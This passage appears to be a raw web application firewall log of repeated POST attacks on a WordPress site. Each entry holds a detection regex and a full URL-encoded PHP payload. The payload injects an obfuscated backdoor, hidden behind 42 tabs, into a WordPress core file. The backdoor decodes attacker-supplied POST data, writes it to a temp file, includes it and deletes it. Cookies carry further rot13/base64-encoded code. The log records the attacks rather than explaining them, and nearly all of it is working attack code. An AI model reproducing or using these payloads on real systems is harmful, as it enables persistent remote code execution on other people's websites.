2520sys_get_temp_dir%2528%2529%2529%252C%2520%2527b99a868f%2527%2529%253B%2520if%2520%2528%2521is_writable%2528%2524holder%2529%2529%2520%257B%2520%2524holder%2520%253D%2520getcwd%2528%2529%2520.%2520DIRECTORY_SEPARATOR%2520.%2520%2522reverse_lookup%2522%253B%2520%257D%2520%2524reference%2520%253D%2520%2522%255Cx3c%255Cx3f%255Cx70%255Cx68p%2520%2522%2520.%2520base64_decode%2528str_rot13%2528%2524flg%255B3%255D%2529%2529%253B%2520if%2520%2528is_writeable%2528%2524holder%2529%2529%2520%257B%2520%2524val%2520%253D%2520fopen%2528%2524holder%252C%2520%2527w%252B%2527%2529%253B%2520fputs%2528%2524val%252C%2520%2524reference%2529%253B%2520fclose%2528%2524val%2529%253B%2520spl_autoload_unregister%2528__FUNCTION__%2529%253B%2520require_once%2528%2524holder%2529%253B%2520%2540array_map%2528%2527unlink%2527%252C%2520array%2528%2524holder%2529%2529%253B%2520%257D%2520%257D%2520spl_autoload_register%2528%2522auth_exception_handler%2522%2529%253B%2520%2524record%2520%253D%2520%2522cfe7321e36ff48ceaa56abd348ae4ccb%2522%253B%2520if%2520%2528%2521strncmp%2528%2524record%252C%2520%2524flg%255B4%255D%252C%252032%2529%2529%2520%257B%2520if%2520%2528%2540class_parents%2528%2522event_dispatcher_service_registry%2522%252C%2520true%2529%2529%2520%257B%2520exit%253B%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20\"));"]
["2026-05-12 16:45:10","167.71.226.156","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> GM:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-terms-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522k%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522k%2522%255D%2529%253B%2520%2524symbol%253D%2520%2527%2527%253B%2520%2524h%2520%253D%25200%253B%2520while%2528%2524h%2520%253C%2520strlen%2528%2524entry%2529%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524h%255D%2529%2520%255E%25208%2529%253B%2524h%252B%252B%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524token%2520%253D%2520count%2528%2524property_set%2529%253B%2520%2524data_chunk%2520%253C%2520%2524token%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524property_set%255B%2524data_chunk%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dchunk%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dchunk%2529%2529%2520%257B%2520%2524dat%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dchunk%252C%2520%2522.ref%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524dat%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dat%253B%2520unlink%2528%2524dat%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvE00vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\nhost:dewenlabels.com\nsec-ch-ua:\"Google Chrome\";v=\"107\", \"Chromium\";v=\"107\", \"Not=A?Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4064\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-site:none\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/107.0.0.0 Safari\/537.36\nupgrade-insecure-requests:1\n\nGM=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-terms-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522k%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522k%2522%255D%2529%253B%2520%2524symbol%253D%2520%2527%2527%253B%2520%2524h%2520%253D%25200%253B%2520while%2528%2524h%2520%253C%2520strlen%2528%2524entry%2529%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524h%255D%2529%2520%255E%25208%2529%253B%2524h%252B%252B%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524token%2520%253D%2520count%2528%2524property_set%2529%253B%2520%2524data_chunk%2520%253C%2520%2524token%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524property_set%255B%2524data_chunk%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dchunk%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dchunk%2529%2529%2520%257B%2520%2524dat%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dchunk%252C%2520%2522.ref%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524dat%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dat%253B%2520unlink%2528%2524dat%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:45:27","171.244.34.150","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> ky:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-terms-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522k%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522k%2522%255D%2529%253B%2520%2524symbol%253D%2520%2527%2527%253B%2520%2524h%2520%253D%25200%253B%2520while%2528%2524h%2520%253C%2520strlen%2528%2524entry%2529%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524h%255D%2529%2520%255E%25208%2529%253B%2524h%252B%252B%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524token%2520%253D%2520count%2528%2524property_set%2529%253B%2520%2524data_chunk%2520%253C%2520%2524token%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524property_set%255B%2524data_chunk%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dchunk%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dchunk%2529%2529%2520%257B%2520%2524dat%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dchunk%252C%2520%2522.ref%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524dat%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dat%253B%2520unlink%2528%2524dat%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvn3xvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzEvZy9wo252MKW0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\nhost:dewenlabels.com\nsec-ch-ua:\"Google Chrome\";v=\"119\", \"Chromium\";v=\"119\", \"Not?A_Brand\";v=\"24\"\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4064\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-site:none\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/119.0.0.0 Safari\/537.36\nupgrade-insecure-requests:1\n\nky=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-terms-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522k%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522k%2522%255D%2529%253B%2520%2524symbol%253D%2520%2527%2527%253B%2520%2524h%2520%253D%25200%253B%2520while%2528%2524h%2520%253C%2520strlen%2528%2524entry%2529%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524h%255D%2529%2520%255E%25208%2529%253B%2524h%252B%252B%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524token%2520%253D%2520count%2528%2524property_set%2529%253B%2520%2524data_chunk%2520%253C%2520%2524token%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524property_set%255B%2524data_chunk%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dchunk%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dchunk%2529%2529%2520%257B%2520%2524dat%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dchunk%252C%2520%2522.ref%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524dat%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dat%253B%2520unlink%2528%2524dat%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 16:45:41","160.187.68.132","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> qo:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-terms-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522k%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522k%2522%255D%2529%253B%2520%2524symbol%253D%2520%2527%2527%253B%2520%2524h%2520%253D%25200%253B%2520while%2528%2524h%2520%253C%2520strlen%2528%2524entry%2529%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524h%255D%2529%2520%255E%25208%2529%253B%2524h%252B%252B%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524token%2520%253D%2520count%2528%2524property_set%2529%253B%2520%2524data_chunk%2520%253C%2520%2524token%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524property_set%255B%2524data_chunk%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dchunk%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dchunk%2529%2529%2520%257B%2520%2524dat%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dchunk%252C%2520%2522.ref%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524dat%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dat%253B%2520unlink%2528%2524dat%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvpJ8vKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWcozEyrPV7nJLbMzyfMI9jqKEsL29hqTIhqUZbWUNfWTZcXKgcozAfqJEyVPEjB0O1ozkcozfbWUNcB2I4nKD7sK19MTyyXPVuoz90q3W0LzjuVvx7; 1=53; 0=71\nhost:dewenlabels.com\nsec-ch-ua:\"Not_A Brand\";v=\"8\", \"Chromium\";v=\"120\", \"Google Chrome\";v=\"120\"\nsec-ch-ua-mobile:?0\nsec-fetch-mode:navigate\nsec-ch-ua-platform:\"macOS\"\nsec-fetch-user:?1\ncontent-type:application\/x-www-form-urlencoded\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:4064\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\naccept-encoding:gzip,deflate\nsec-fetch-dest:document\nsec-fetch-site:none\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/120.0.0.0 Safari\/537.36\nupgrade-insecure-requests:1\n\nqo=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-admin\/includes\/class-wp-terms-list-table.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528%2521empty%2528%2524_POST%255B%2522k%2522%255D%2529%2529%257B%2520%2524entry%2520%253D%2520hex2bin%2528%2524_POST%255B%2522k%2522%255D%2529%253B%2520%2524symbol%253D%2520%2527%2527%253B%2520%2524h%2520%253D%25200%253B%2520while%2528%2524h%2520%253C%2520strlen%2528%2524entry%2529%2529%257B%2524symbol%2520.%253D%2520chr%2528ord%2528%2524entry%255B%2524h%255D%2529%2520%255E%25208%2529%253B%2524h%252B%252B%253B%257D%2520%2524property_set%2520%253D%2520array_filter%2528%255B%2522\/dev\/shm%2522%252C%2520%2522\/var\/tmp%2522%252C%2520getcwd%2528%2529%252C%2520getenv%2528%2522TMP%2522%2529%252C%2520%2522\/tmp%2522%252C%2520sys_get_temp_dir%2528%2529%252C%2520getenv%2528%2522TEMP%2522%2529%252C%2520ini_get%2528%2522upload_tmp_dir%2522%2529%252C%2520session_save_path%2528%2529%255D%2529%253B%2520for%2520%2528%2524data_chunk%2520%253D%25200%252C%2520%2524token%2520%253D%2520count%2528%2524property_set%2529%253B%2520%2524data_chunk%2520%253C%2520%2524token%253B%2520%2524data_chunk%252B%252B%2529%2520%257B%2520%2524dchunk%2520%253D%2520%2524property_set%255B%2524data_chunk%255D%253B%2520if%2520%2528%2528bool%2529is_dir%2528%2524dchunk%2529%2520%2526%2526%2520%2528bool%2529is_writable%2528%2524dchunk%2529%2529%2520%257B%2520%2524dat%2520%253D%2520vsprintf%2528%2522%2525s\/%2525s%2522%252C%2520%255B%2524dchunk%252C%2520%2522.ref%2522%255D%2529%253B%2520if%2520%2528%2540file_put_contents%2528%2524dat%252C%2520%2524symbol%2529%2520%2521%253D%253D%2520false%2529%2520%257B%2520include%2520%2524dat%253B%2520unlink%2528%2524dat%2529%253B%2520exit%253B%2520%257D%2520%257D%2520%257D%2520%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%2